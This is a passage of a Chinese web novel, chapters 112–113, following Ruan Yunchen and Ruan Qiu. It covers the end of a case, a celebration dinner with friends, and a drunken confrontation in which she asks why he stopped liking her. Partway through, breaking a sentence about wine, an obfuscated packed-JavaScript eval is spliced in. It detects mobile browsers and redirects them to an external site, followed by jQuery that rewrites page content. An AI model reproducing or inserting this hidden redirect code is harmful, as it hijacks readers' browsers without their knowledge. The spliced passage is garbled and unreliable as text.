“……这样才对。”阮云琛在心里低声说服自己,手指在眉心按了按,试图把那点没来由的失落感压下去。 可心里的另一个声音却像一条细细的裂缝,从她努力的掩饰中渗了出来。 ——真的不喜欢了吗? 如果他真的不喜欢了,那为什么他还会成为A,还会冒着这么大的风险?为什么还会站在她面前,用那种克制又不留情的语气戳破她的心思? 阮云琛猛地停下了这个念头,像是害怕自己越想越深,越陷越远。 她深吸了一口气,把目光移向窗外,寒风吹过的声音让她的思绪稍稍平静了些。可那份说不上来的不对劲,却像空气中若有若无的潮湿味道,挥之不去。 112. 质问 安全屋里平静得让人有些不安。 宋祈的余党零星传出一些消息,却不足以掀起新的风浪。 所有的紧张像是一根被拉到极限的弦,突然被人松了手。 阮云琛盯着电脑上的案件进展,试图让自己专注,可那些一目了然的总结与反馈并不能让她安心,反而显得琐碎无力。 她能听到阮秋在隔壁敲键盘的声音,不快不慢。 他总是坐在窗边的桌子前,耳机半挂着,时而飞快地敲击键盘,时而把手撑在下巴上,盯着屏幕发呆。偶尔他会用一种低得听不清的声音打电话,语调平静,甚至透着一种让人恼火的从容,像是在谈一件八竿子打不着的无关紧要的事。 他看起来很忙,又不像是真的忙。 他的手指停下来的时候,偶尔会在笔记本边的水杯上晃一晃,仿佛只是为了验证自己的存在。 阮云琛试图忽略这些细节,但却难以自控地分神。 她知道他在做什么,大概是在收尾,清理属于“A”的最后几道隐痕。阮云琛不是不懂这些事,但对上他屏幕上的一堆代码,她选择了沉默。 她从不主动打探他的工作,也许是因为她不想打破这种若即若离的平衡。 那天之后,阮秋对她的态度变得微妙起来。 他依旧体贴,依旧周到,却少了点什么。 他会递给她热水,但不再多看她一眼;会在饭桌上和她说话,但那些调侃听起来更像是日常的寒暄,轻飘飘地落在耳边,又随风散去。 阮秋把距离感维持得很好,像是刻意的。 他的语调、动作甚至眼神都小心翼翼地避开了她心底的某个敏感点,仿佛在提醒她——那天的事情过去了,不必再提。 阮云琛不擅长处理这种看不见的情绪。 她本能地选择假装无事发生,把注意力放在案件进展上,把那些隐隐的、不安的情绪压进心底。 可即便如此,每次她从书桌后抬起头,总能看到他低头专注的模样,光线落在他的侧脸上,半明半暗,像一堵看不透的墙。 她没有说话,只是静静看了一会儿,像是要确认他依然在那里。他确实在那里,可这种“在”,却带着某种说不清的距离感,让她的心里微微发紧。 空气中飘着一种莫名的沉默感。每个人都在各自忙碌,却又在某种层面上互相牵制。有些东西正在悄然改变,而这种改变,阮云琛无力掌控。 安全屋里的时间像被拉长了一样,每一天都显得无声无息。 宋祈的余党渐渐被彻底清理干净,偶尔传来的零星消息也不再掀起任何波澜。 生活慢慢恢复平静,阮云琛依旧每天例行查看案件进展,阮秋则在某一天关上了电脑,轻描淡写地说了一句:“结束了。” 三个月后,他们接到了通知,可以离开了。 行李很简单,几件换洗衣物塞进背包,几本文件用文件夹夹好。 两人几乎没什么要特别收拾的,最后一次关上房门时,阮云琛回头看了一眼,发现房间已经空得像是从未住过人。 她很快移开了视线,跟着阮秋走了出去。 刚一出巷道口,就看到谢胖子站在门口。 他看起来比之前见到的胖了点,但肯定还是没可能有以前那程度。 他穿着件老旧的夹克,背后停着一辆看起来颇为沧桑的面包车——漆面上有几道深深浅浅的划痕,车头一侧的挡泥板甚至翘起了一点,像是刚被人从二手市场拖出来,连灰都没擦干净。 车窗边缘有些锈迹,反射着下午的阳光,透露出一种不容忽视的破败感。 胖子却像是开了一辆豪车一样,乐得合不拢嘴。他一边冲两人狂挥手,一边喊:“嘿!这儿呢!看到没,接你们的车!” 他的嗓门很大,声音在小区的楼栋间回荡,吸引了几个住户的目光。阮秋站在台阶上没动,目光扫了一眼车,又扫回到胖子脸上,眉毛微不可察地动了动:“这车……二手的吧?” 胖子毫不避讳地点了点头:“那可不,便宜啊!便宜才是真理!而且,这车看着破是破了点,但开起来贼稳,准保你们坐着舒服!” 他说完,又拍了拍车头,拍得那块翘起的挡泥板微微晃了晃,像是要掉下来似的。阮秋站在一旁,双手插在兜里,低头笑了一声,也不说话,眼里透着点打趣的意味。 胖子没理会他们的表情,径直打开车门:“来,上车!别站着了,庆功宴咱得吃点好的,老地方我订好了,就差你们俩了!” 阮云琛叹了口气,抬脚下台阶,刚走两步,又被胖子招呼着往快车道边上让了让:“小心点,这车门关着费劲,别刮了你们的包。” 胖子的手一搭上阮云琛的肩膀,阮秋的视线便轻轻扫了过来。 他站在原地没动,单手插在裤兜里,另一只手漫不经心地提了提肩上的背包,目光从胖子的手滑到阮云琛的肩膀上,然后微微垂下眼,像是看向地面,又像是在思考什么。 胖子倒是毫无察觉,另一只手还在比划着车门的位置,兴致勃勃地说:“你看,这地方窄,容易磕到——” 话没说完,就被阮秋的声音打断:“你别推了,她知道走路。” 阮秋的语气平平淡淡,不带任何情绪,甚至还带着一点懒洋洋的敷衍,但那双眼却始终没有移开。 他话音一落,胖子愣了一下,讪讪地收回了手:“这不是怕她累着嘛……” 阮云琛低头拢了拢包的肩带,没说话。 她抬起眼看了一眼阮秋,发现他已经把视线移开了,径直转身走向面包车,伸手拉开了侧门。 车门发出一声刺耳的金属摩擦声,阮秋像没听见似的,动作利落地将门完全拉开,偏过头对她道:“上车吧。” 这一动作平静得像什么都没发生,可阮云琛的脚步却迟了一下。 她不知道自己为什么会注意到刚才他的那一瞥,目光短暂,却透着点她说不清的意味,像是一阵极轻极快的风,扫过她肩上的某处,没留下痕迹,却让她下意识想要回头看一眼。 他还特地叫来了网吧的两个员工,一个叫阿强,另一个叫小梁,从网吧开张起就跟着胖子了。 阿强年纪稍大,瘦高个儿,平时总穿着一身洗得发白的运动服,脸上常挂着一种看破世事的疲惫感;小梁则年轻些,戴着一副黑框眼镜,话少,低头就爱捣鼓手机。 胖子得意地介绍:“这是我的左右护法,绝对的铁杆!” “胖哥你别吹了,”阿强抬头打趣,“真要铁杆,当初李成庆那帮人闹事的时候,我和小梁不可能一个请假回老家,一个跑去学校上补习班吧。” 小梁从手机里抬起头,补了一句:“是啊,我可不想跟您同舟,更不想共济。” 胖子拍桌子的动作顿了一下,随后笑骂:“滚!当初要是有你们俩帮忙,哪儿还用阮妹妹她们所里出手?你们俩简直是我网吧的耻辱!” 阿强不以为意,举起面前的杯子:“得了吧胖哥,咱就是打游戏的,哪能跟人打架,您放过我们吧。” 胖子瞪了他一眼,转头对阮云琛道:“你看见没?我天天伺候这么俩没用的主,老天爷都替我不值。” 阮云琛没接话,只是看了胖子一眼,又低头夹了一筷子菜。 胖子见状,像是忽然想起什么,拍着桌子大笑:“对了,当年秋弟出国前,我们不就在这儿给他办的送别会吗?那次你们都喝成啥样了,阮妹妹——一人干了一大盆,连酒带菜,我面包车都差点载不动!” 阿强闻言笑得直拍大腿:“是吗?我怎么没赶上?” “你请假了呗!”胖子翻了个白眼,“风雨同舟就这点出息。” 桌上气氛更热闹了,几人说着笑着,杯盏碰撞声和欢笑声交织成一片。 阮云琛没接话,只是垂着眼翻了翻碗筷。胖子不在意,自顾自接着讲:“当时大家都喝得五迷三道,陈各那天吐得啊,哎哟,我可怜的三蹦子,差点直接报废。” 淼淼夹了筷子菜,抬头补了一句:“后来胖哥自己也吐了,我记得特别清楚。” 胖子被拆穿,倒也不恼:“小姑娘家家的别乱说。那是我豪爽!喝酒嘛,重在气氛!” 他说着,又抄起桌上的酒瓶,指了指包装:“来,这次换个洋气的,红酒!洋人配洋酒,懂不懂?” 话音刚落,阮秋抬手在他后脑勺拍了一巴掌,力道不重,却带着点警告的意味:“胖子,你行了啊。洋酒配肉蟹煲?我看你今天是不想活了。” 胖子缩了缩脖子,嘴里还不忘嘟囔:“你懂什么,这可是奔富!澳大利亚进口的,好酒!你知不知道这酒多贵?一瓶顶你们一星期伙食费!” 阮秋懒得搭理胖子,转过头去,目光不经意地落在阮云琛手边的酒杯上。她已经倒了一点,液面刚刚铺过杯底,暗红的酒液在灯光下晃出一圈深浅不一的光影。 他眉头几不可察地皱了一下,下意识地伸出手,想要拿走她手里的杯子,可手伸到一半,他又忽然顿住了,慢慢收了回去。 阮云琛愣了片刻,随即把视线移回到杯子上,红酒缓缓注满杯壁,一直倒到杯子的三分之二才停下。 她抬起杯子,喝了一大口。 果香味混着酒意在舌尖蔓延开来,带着点轻飘飘的醉意,酒精度数高一些,但确实也是好喝。 阮秋看着她的动作,喉结微微动了一下,随即转过头,端起自己的杯子,掩饰般地喝了一小口。 他把杯子放下时,目光依旧落在阮云琛身上,声音懒懒的:“好喝吗?” 阮云琛没说话,又倒了半杯。 胖子兴致冲冲地举起杯,酒液在杯中晃动,映着灯光显出一种节日般的氛围。笑声和推杯换盏让小馆子里热闹非常,仿佛一切都在庆祝那个已经尘埃落定的大案子。 酒过三巡,门被推开。廖致远中途赶到,穿着件半旧的风衣,风尘仆仆地在门口站了几秒。 他头发已经花白,但神情里透着一种难得的轻松,像是平日里紧绷的弦,终于在某个节点松了下来。 他没待太久,只是在桌旁坐了一会儿,象征性地喝了半杯酒。 气氛正热烈时,他接了个电话,低声应了几句,站起身告辞。 淼淼原本正因为他的到来而眉飞色舞,但眼见他匆匆离开,小姑娘忍不住嘟囔了两句:“廖叔叔,你本来说好了和我一起回家的。” 胖子一边拍着胸脯安抚淼淼,一边不忘替廖致远找补:“哥送你回去!廖叔你就放心地去加班,加班费到时候记得报销我的红酒。” 廖致远听完,忍不住笑了笑,拍拍胖子的肩就出了门。 胖子也照例叫了陈二起。 但那光头搁新西兰玩呢,到现在还没回,说是在新西兰开了家健身房,赚得盆满钵满。这次他赶不回来,就发了加急快递,送来一张贺卡,说是祝贺众人侦破了大案。 胖子拿到贺卡时还不忘嘲笑陈二起的“官方辞令”,现场打开□□视频给他拨了个电话——这项刚面世不久的技术对胖子来说显然新鲜得不得了。 视频接通的一瞬间,他就把屏幕对着桌上的人群,来回晃了几圈,吵吵嚷嚷道:“陈哥!你这也太不够意思了吧,人不到,贺卡顶啥用?” 屏幕那头,陈二起的脸一如既往地冷着,显然对胖子的热情没什么回应。 胖子没在意,只把他的贺卡给亮了出来,超大声地开始朗读:“亲爱的大家,你们好,很抱歉这次不能来参加你们的聚会,恭喜......” “屮!你有病啊谢林利!”陈二起一声怒喝,果断挂断了视频。 众人笑成一团,笑声还没散开,胖子的手机又响了。 是陈二起重新打来了的电话——不是视频通话,隔着听筒,他语气冷淡却郑重:“祝贺你们。这顿饭我请,给我发账单,我买。” 胖子立刻来了劲:“再来五瓶红的!” 阮云琛端起杯子,靠在椅背上,漫不经心地抿了一口,酒液刚过喉咙,她眉头微微皱了皱,直接将剩下的酒一口干掉。 酒劲不算强,但暖意顺着胸口蔓延开来,像是给了她一点无用的宽慰。 她把杯子往桌上一放,动作轻,却带着些许敷衍的意味。 酒杯里剩下几滴暗红的液体在灯光下晃动,像一颗被搅乱的心。 她伸手抓过酒瓶,重新给自己倒了一杯,倒满后没有立刻喝,只是把酒杯推到面前,低头看着杯沿,像是在沉思,又像是在发呆。 不远处的胖子还在嚷嚷,热闹的笑声盖过了餐厅里播放的背景音乐,周围的人似乎都放松下来。 阮云琛却觉得这份喧闹像一层模糊的纱,把她隔在了外面。她抬眼扫了一圈,目光在阮秋身上短暂停留了一瞬,又很快移开。 他正懒懒地靠在椅背上,手里随意转着一根筷子,侧脸的线条在灯光下显得有些冷淡。他的目光并没有看过来,却仿佛什么都知道。 阮云琛皱了皱眉,端起酒杯又是一口。 这次酒劲有些上头了,胃里有点发热,她却懒得在意。明明气氛很好,热闹得像过年,她却忍不住想着刚才阮秋那突然停下的动作,以及那声轻描淡写的“随意”。 阮秋侧过头,余光瞥见她的动作,眉梢几不可察地动了一下。他没有说话,只是用指尖轻轻敲了敲桌面,像是提醒,又像是某种默不作声的默认。 “胖子,你到底图啥啊?”阮秋懒洋洋地靠在椅背上,语气里透着点笑意,“一顿饭就想把我们俩收买了?” 胖子喝了一口啤酒,脸涨得通红:“图你们啊!图你们还活着呢。庆功宴,这饭该吃,不吃对不起我兜里的钱!” 小梁低着头嘀咕了句:“是陈哥的钱吧。” 胖子抬手就给了他一巴掌:“去!不说话没人给你当哑巴!” 阮云琛没说话,只是在胖子的劝酒声中又喝了一杯红酒。 她总觉得这么喝有点不对劲,这红酒怎么搞得跟啤酒似的,可她也不知道红酒到底该怎么喝。 胖子喝得快,倒得也快,桌上杯杯满,她也不由自主跟着干了一杯。 酒意渐渐上头,她的脸颊开始发热,耳朵也有些烫,晕晕乎乎地靠在椅背上,感觉像是坐在一片轻飘飘的云上,连胳膊都显得没什么力气。 胖子大手一挥,又加了两个菜,转头又给她倒了一杯:“阮妹妹,再来一杯,咱这红酒不醉人!” 阮云琛正准备伸手去拿杯子,旁边的阮秋忽地动了。 他的动作不快,甚至可以说是漫不经心,像是顺手做了一件微不足道的小事。他轻轻伸出手,指尖略过她的掌边,直接将杯子从桌上拿走,动作流畅得没有一丝多余。 阮云琛一愣,停下动作,抬眼看向了他。阮秋却像是什么都没发生一样,低头将杯子随意放在自己这边的桌角,手指轻轻一松,声音平淡得听不出任何情绪:“你少喝点。” 那句话像是某种随口的提醒,又像是在刻意把某种分寸维持得恰到好处。 阮云琛盯着他的侧脸,脑子里嗡嗡的,像有什么东西在晕眩中开始泛滥。 她晕得有点上头,脑子里像被裹上了一层薄雾,整个人松松软软的,连手指都懒得动。靠着椅背时,腰部像没了力气,渐渐滑了下来,直到脑袋轻轻靠上了一片坚硬的触感。 她愣了一下,视线模糊地往旁边扫了一眼,发现自己不知什么时候靠到了阮秋的肩膀上。 她动了动,想挪开,可全身软绵绵的,一时间竟提不起劲。那片触感依旧稳稳地撑在那里,没有因为她的靠近而发生一丝改变。 他的肩膀很稳,呼吸的频率也像刻意压低了一样,一下一下贴着空气流动。阮云琛眯着眼停了几秒,脑子里像有什么东西飘了过去,快得来不及抓住。 她没再动,只是安安静静地靠着,耳边的热闹声像被什么隔开了一样,模糊得远了些。 她没有刻意去想,但心底还是泛起了一点奇怪的波纹。那种触感太让人安心了,甚至让她不自觉地贪了一点。但也仅仅是一点,因为下一秒,她就突然反应过来。 她撑了撑手,想从他身上挪开,可动作太急,带倒了桌上的筷子。筷子滚落到地上,发出清脆的一声响,所有人的目光都看了过来。 阮秋没有动,甚至连眼皮都没抬一下。他的手仍旧搭在桌上,整个人看上去像是完全没有受到影响。 阮云琛忽地惊觉——她靠得有些太近了。 她猛地坐直身体,强撑着端起杯子掩饰般地抿了一口,却忍不住偏头往阮秋那边瞥了一眼。他的神色却依旧淡淡的,像是什么都没发生过一样。 这种冷淡的“不在意”让阮云琛心里空了一下,像是有什么东西刚刚搭建起来,又瞬间塌陷了。她咬了咬牙,偏头看向桌边,目光落在被他放在角落里的酒杯上。 她盯着那杯酒看了一会儿,犹豫了几秒,伸手把它抢了回来。 动作不快,但透着一种带着倔强的执拗。酒杯回到她手里,她低头看了一眼,又抿了一口。 酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284067|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 液的味道透着一点酸涩,喉咙里却涌上一股热意。 她还没来得及放下杯子,便感觉到旁边那道视线落在自己身上。阮秋没有说话,只是微微偏头,目光静静地看着她,眼底像是藏着一层雾,让人看不清那到底是什么情绪。 胖子瞪着眼瞧着,嘴巴越张越大,他准备拖长了音调“哦——”一声,眼神却和阮秋撞上了。 阮秋没说话,只是淡淡地扫了他一眼,眼神里透着一股不容置喙的警告。 胖子一愣,随即悻悻地闭上嘴,抬手比了个“嘘”的动作。淼淼敏锐地看到了他的动作,眨了眨眼:“胖哥,你干嘛呢?” 胖子赶紧收回手,装作若无其事地咳了一声:“没事儿,没事儿,见证奇迹诞生呢。” 阮秋缓缓地抬起了眼,阴森森地瞅着胖子,直到他感受到了这渗人的视线转过头来时,阮秋才对他比了个口型—— “诞你妈。” “嘿嘿。”胖子笑了一声。 宴席结束时,谢胖子原本兴致勃勃地拍着胸口,要开着他的破面包车挨个送人回家,结果刚挪了两步,就被阿强一句“酒驾坐牢”怼了回去。 胖子一听,怂得彻底,赶紧摆手撇清:“那不行,咱可是守法公民。” 没了车,胖子只能靠自己的两条腿履行“司机”的职责。 他磨磨蹭蹭地挽起袖子,站在门口安排人:“那就这样,淼淼跟我走,我送你回廖叔那儿。阮妹妹你放心,胖哥绝对靠谱!” 说着,还不忘拽上自己的两个“风雨同舟”的伙计。 淼淼显然不满意这个安排,哭丧着脸站在门口:“你们都不跟我回廖叔那儿!” 可惜抗议无效,胖子和他的“护法二人组”直接把她架走,留下她一路叹气。 阮云琛喝的有些懵,没拦,也没劝,只是站在一边看着,直到他们的背影消失在街头,才迟缓地收回了目光。 她和阮秋只能回旧家。 潜伏任务结束后,也没空收拾,就直接去了安全屋。虽然家里还乱得像个临时仓库,但他们的东西都早就搬去那儿了。 街道上安静了些,偶尔有几辆车驶过,风带起地上飘散的落叶。阮云琛站了一会儿,突然觉得有点冷,下意识地缩了缩肩膀。 身旁的阮秋没有说话,只是站在那里。隔了会儿,他才迈开了步子,走在前面,语气平平地丢下一句:“走吧。” 夜风带着些许凉意,像一层薄薄的纱,轻轻贴在阮云琛的脸上。 她的脚步慢得像在拖延时间,每一步都虚浮,踩在水面般飘忽不定的地砖上。酒意没完全散去,脑子晕晕沉沉,晚风反倒像催化剂,将那些散不尽的念头吹得更乱了些。 路灯把两人的影子拉得细长,微微晃动着,像一根被风轻轻拽动的绳索。阮云琛低头看着脚下的光影,像是被什么黏住了一样,步伐比平时更迟缓。 阮秋走在她身侧,步伐稳得像是一种本能。 他一只手轻搭在她的手臂上,另一只手提着她的外套,动作看似随意,却透着某种克制的周全,像是怕她一个踉跄摔倒,又像是怕自己的动作太过亲近。 阮云琛知道他在小心翼翼地护着她,但心里却一点不舒坦。刚才饭桌上那份疏离感还扎在她心里,像根没拔干净的刺,隐隐地疼,却又不至于让她真的开口质问。 她回忆起最近一段时间,阮秋的态度开始变得奇怪。 不是生疏,而是过于“恰到好处”。 他不再像从前那样总是围着她转,也很少主动提起自己的事情。 他做的每一件事都挑不出毛病,倒水、递东西、帮她挡应酬,全都滴水不漏,但这些细致又周到的举动,更多像是出于礼貌,而不是亲密。 比如上次,阮秋在她出任务回来后准备了一桌饭菜,菜色和味道无可挑剔,但她记得那天,他在她对面坐得很端正,话不多,表情也很淡。 明明以前,他会坐在她身边,靠得近到能感觉到他灼热的视线,甚至还会半开玩笑地抢她的碗筷,说要帮她“验毒”。可那天,他只递给她一杯温水,说了一句“姐,你先喝点润润喉”,然后起身去收拾厨房,没再回来。 还有一次,她随口问他最近的打算,他却笑了一下,说了句“你别操心”。那语气轻飘飘的,像是把他们之间某些隐秘的关联轻轻撕开,丢在了风里。 更别提那句——“我不是为了你,我只是想做点事,仅此而已。” 阮云琛不知道自己为什么会回想起这些话,也不知道为什么会在意——可能是喝醉了,就想把一切都像倒豆子似的挨个全倒出来 可豆子倒出来之后,只会让踩在上面的人摔个踉跄,那句“不是为了你”像一块沉甸甸的石头,压在她心底某个不明所以的地方,莫名让她喘不上气。 阮云琛不知道自己在失落什么劲。 阮秋不是她的谁,他从来都不是。 可那点刺挠的感觉却挥之不去,像是有什么东西随着他这些日子的疏离感悄然流失了,而她根本抓不住。 阮云琛觉得自己很奇怪。 她一向最讨厌这种无端的情绪,可偏偏,委屈却又悄悄地涌上来。她甚至觉得这种委屈让她更生气——到底凭什么? 她晃了一下,脚步虚浮,身子不由往旁边一偏。 阮秋几乎是下意识地扶了她一下,手指在她的手臂上压了压,力道轻,却很稳。他没有说话,只是顺势将她稍微带得更近些,像一根风筝线收紧了一点,稳稳地牵着她。 阮云琛偏头看他,眼神带着几分说不清的情绪,眉头微微皱起。她抬眼的动作不算快,但那目光像是蓄了点酒意后的犹疑和不满,掺杂着几分懵懂的锋利。 阮秋的脸在路灯的光影下显得格外清晰,轮廓分明的下颌线微微绷着,侧脸在微暗的光线中笼上一层柔和的阴影。 他的眉骨深而干净,眼睛略微下垂,平时看着无害,此刻却藏着一种若隐若现的专注,像是每一个细小的动作都被他无声地看在眼里。 他的身高显得压迫,却并非刻意为之。阮云琛站在他身边,肩膀刚到他的胸口,抬头时,能看见他的喉结在细微的动作中上下滑动,带着一种不易察觉的克制感。 阮云琛忽然觉得有点恍惚——以前那个瘦瘦小小的男孩,什么时候长得这么高了?她记得他小时候总是仰着头叫她“姐”,声音脆生生的,动作还有点笨拙。那时候,他总是一副没长开的模样,跟在她身后像条忠实的小狗,连她的书包都要抢着提。 可现在,书包早已经被抛在了时间里。眼前的人不再需要仰视她,反而像是随时能稳稳地接住她,甚至连这份“稳”都透着一种无法忽视的存在感。 阮云琛的目光落在他的喉结上,隐隐约约间,心里像是被什么东西轻轻搅了一下,不深,却泛起涟漪。 他的手还搭在她的手臂上,手指微凉,力道刚刚好,既不像刻意扶着,又没有完全放开。那触感让人不至于摔倒,但也让她的心里莫名地轻飘了一下。 阮秋低下头,与她的目光撞上,眉眼没有一丝躲闪。 他的视线专注得让人看不透,也听不出情绪,像是藏着什么东西,又像是什么都没有。他的嘴唇抿着,嘴角微微压下,看起来像是在压抑某种情绪,却又让人看不出他到底在想什么。 风从他身后吹来,将他的衣角掀起了一点,带着一种若即若离的味道。阮云琛忽然觉得自己脑子更晕了些,她抬眼的动作微微滞了一下。 阮秋低头与她对视了一瞬,又迅速移了开。他的动作依旧温和,没有一丝多余的情绪,却悄无声息地将手放松了些,距离也不动声色地拉开了一点。 这种小心翼翼的疏离感像是某种隐秘的宣告,阮云琛却不想接受。她忽然停下了脚步,脚后跟微微贴着地砖,整个人轻轻往后一仰,忽地抬起了头:“你不喜欢我了,是不是?” 她语速很快,像是怕自己不说出来,这个问题就会烂在喉咙里。 阮秋的脚步顿了一下,手指微微一紧。他没有立刻回答,目光落在她脸上,似乎在确认她是不是清醒。 阮云琛的视线却不避开,眼神里带着点醉后的执拗,像是在逼着他给一个答案。 “为什么?”她问。 “阮云琛。”他低声喊了她的名字,语气听不出情绪,“你喝醉了。” 阮云琛却侧过了脸,低垂的目光避开他的视线。她顿了顿,像是在给自己找一个开口的勇气,片刻后才缓缓问道:“你为什么不喜欢我了?” 113. 喜欢 阮秋的脑子一下子断了线。 他怀疑自己的耳朵出了问题。 她刚才说了什么来着......? 阮秋努力回忆着,可那些词句像被夜风吹散了一样,模模糊糊地在他脑海里漂浮。 他的手依旧搭在她的手臂上,却忘了松开。 “你为什么不喜欢我了?” 阮云琛又重复了一遍,声音比刚才更轻,却扎得更深,像一根细针,慢慢穿透了他的耳膜,直抵胸口。 他下意识地看向她,眼神原本是带着疑问的,可下一秒,他的视线就被她整个人牢牢锁住了。 阮云琛站在昏黄的路灯下,眉眼清冷,五官带着分明的棱角,偏中性的英俊在她身上显得格外干净利落。 可那种冷峻感此刻被醉意冲散了几分,她的脸微微泛红,目光模糊中透着一点执拗,眼底隐约浮着一层水光。 那水光没掉下来,却让她的眼睛显得比平时更亮,像是藏着某种不言自明的情绪。 阮秋愣住了。 阮云琛抬头看着他,眼睛大而明亮,睫毛轻轻颤动着,似乎连她自己都没意识到,那种目光有多能让人心神动摇。 ——她从来都很好看。 阮秋从很小的时候就知道这一点。 那时候,她从桥下经过,总是步子不快,却带着一种让人移不开眼的力量。 她的脸不常抬起来,更多时候是垂着头,肩膀瘦削,手臂上还带着几道未痊愈的伤痕。但即便如此,她的背脊总是笔直的,仿佛不允许自己弯下一分一毫。 阮云琛的身上总是有伤,脏兮兮的衣服上斑驳着尘土和血迹,但那张脸却出奇的干净。眉眼间透着股子锋利,像是从刀尖上生出来的一般,好看到刺眼。 他记得她冷冷地瞥过他一眼,脚下步子一点不停,转头就进了附近的小巷。他站在原地,莫名觉得,这个人身上什么都有,就是没地方容纳软弱。 哪怕衣服皱得像被人揉过的废纸,手臂上还挂着一两道血痕,她的神态却总是平静得让人难以忽视。 眼神里没有哀求,也没有逃避,只是一种干脆而锋利的漠然,像刀光在日头下晃了一下,就让人再也挪不开眼 她时常流血,但她从不多说什么,抬眼时却像在告诉他:“别问。” 小小的他只能远远地看着,觉得这个人身上什么都有,却一点都不软。 阮秋不明白那种吸引力是什么,只知道,每次她从他面前经过,他的目光总会黏上去,直到她消失在巷子的尽头。那时候,他还不懂“喜欢”是什么,只觉得她身上有种东西,明明让人觉得陌生,却又无处可逃。 后来她成了他的“姐姐”,可是“姐”这个字并不能准确描述她。她是他头顶的天,是他生命里唯一的一盏灯,而这盏灯好看到让他从没办法忽略它。 他从远远的仰望,变成了近距离的注视。 他看她低头吃饭的样子,眉毛会轻轻皱一下,动作总是干净利落,看着不多余的表情,仿佛一切都被她安排得妥妥当当。 他想,这个人怎么可以这样冷静,好像什么都不需要,又好像什么都抓在手里。 阮云琛常出现在他后来那些破碎的梦里。 她的眉眼并不是普通的清秀,透着冷清,带着种不属于任何一类人的锋芒感,像刀,又像某种扎手的宝石。既不像街头那些油腻的女人,也不像商店橱窗里的模特娃娃。 梦里她站在很远的地方,转头看他一眼,眼神里有点冷,有点倦,又像是在忍耐。他想开口喊她,却怎么也喊不出声,梦醒之后,总是被胸口那种闷得发慌的感觉压得坐不住。 那个时候的他,还不知道那种感觉叫什么。 就像眼前隔着一层看不清的薄雾,所有东西都隐约可见,却怎么都抓不住焦点。 那种感觉不尖锐,也不迫切,反而像一滴滴水沿着石壁缓慢地渗下来,明明不急,却一点点在心底积出了一片湿冷的痕迹。 阮秋试过忽视它,就像无数次忽视夜晚风声里那些低低的梦呓。 但这种感觉却总在不经意间悄悄冒头——她偶尔抬眼看他的一瞬,她背对着他扎头发的动作,她指尖掠过桌角时微微下压的力度……这些零散的画面堆叠在一起,成了一道他怎么都冲不破的屏障。 就好像有一层模糊的膜蒙在眼前,他想伸手去捅破,可每次手刚刚抬起,膜就仿佛与他一同后退,将所有的答案藏在更深的地方——直到谢胖子给了他那本杂志。 杂志的封面印着夸张的笑脸和刺眼的颜色,胖子拍着他的肩膀,笑得一脸“哥教你做人”的表情:“秋弟弟,长大了,得多看看书。” 他随手翻开一页,瞬间愣住了。 杂志里的画面很直接,甚至带着点故意的挑逗意味。他的耳根一下子烧了起来,急忙把书合上,扔回胖子手里:“你留着自己看吧。” 胖子笑得前仰后合:“哎哟,不行啊?我以为你早开窍了呢!” 阮秋那时候没多想,可晚上躺在床上时,那几幅画面却突然不请自来。 他的脑子里却没有浮现杂志上的内容,取而代之的......取而代之的,却是阮云琛。 是她偶尔转头看他时清冷的眼神,是她随意的动作,是她消瘦的面颊,如宝石般锋利,如宝石般剔透。 那种无法言说的感觉,就像突然被一根无形的线绑住,越挣扎越紧。 阮秋想起了那些画风简单但情节幼稚的漫画书——那些漫画书是他在街角买报纸时,被摊主硬塞给他的。 他忽然明白了那些梦里模糊的影子,那梦醒后胸口那种闷热又无法诉说的感觉,那些东西都叫做什么。 ——“喜欢”。 他想起她总是随手将头发扎成一束,穿着毫不起眼的衣服,却能让人从一群人里一眼认出来的模样; 想起她偶尔累了靠在椅子上,眉眼稍稍松开的瞬间; 想起她的声音低低地喊“阮秋”,像是在叫一条听话的小狗。 他的喉咙有点发紧,心底像藏了一场长久的叹息。 而那样的阮云琛现在站在自己面前——曾经要仰着头看得人,现在仰着头看着自己。 脸上带着醉酒后的红意,眼角微微染着一层水光,睫毛轻轻颤动着,像是在不安,又像是在等待什么。 她的目光直直地撞过来,没有平时的冷静和克制,只有一种掩不住的委屈和失落。 “为什么不喜欢我了?” 她一遍又一遍地问,声音低哑,却每一个字都清晰地扎进他的胸口。那种无助的情绪,不属于她,却偏偏出现在她脸上,像是一道她从未展示过的裂缝,将她伪装的坚硬层层剥开。 阮秋的目光无法移开。 他看着她,像被什么钉在原地,连呼吸都变得滞重。 她的神态依旧是熟悉的。 线条清晰的下颌,微挑的眉眼,可这一刻,她站得那么近,带着醉意的气息轻轻扫过他的皮肤,连空气都变得黏稠。 阮秋突然觉得,喉结上下滑动的动作都变得困难。 她的声音又响了起来,轻轻的,却透着难以忽视的执拗,像一根无形的手指,拨动着他藏得最深的某根弦。那是他从未想过会听到的语调,更是他从未见过的阮云琛。 他几乎无法克制自己,甚至不敢往前再走一步,怕自己会越界,怕自己根本收不住。 阮秋的呼吸滞了一下,喉结不自觉地滑动了一下。目光在她脸上停留的时间似乎过长了点,他想移开,却发现自己像被定在原地,根本动不了。 “你没听见吗?”阮云琛又开了口,语调带着一点醉后的沙哑,却清晰得像是直指心底的敲击。 这一声把阮秋从愣神中拉回来,他猛然意识到自己的手还没松开,赶紧往后退了一步,试图拉开些距离。 可她的目光依旧紧紧追着他,像是某种无法回避的注视,让他的理智彻底瓦解了一瞬。 ——怎么可能。 怎么可能不喜欢。 可是,那次之后,他开始害怕。 害怕她再次把自己推开,害怕她的目光不再像从前那样带着信任与平静。 阮秋花了三年的时间消化自己的感情,试图把那些没来由的情绪掩藏起来。他想把珍贵的东西埋进土里,藏得深一些,再深一些。 可三年过去,他才发现,那些感情根本藏不住。 它们像草根一样往外疯长,越是压抑,越是破土而出,甚至肆无忌惮地缠绕在他心里,叫嚣着,嘲笑着他的无力。 以“A”的身份站在她身边的那一刻,他感到前所未有的满 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这种矛盾感将他拉扯成两半。他以为他可以藏住,可面对她醉酒后那双带着水光的眼睛,那一句句“为什么不喜欢我了”,却像是捅破了所有的伪装。 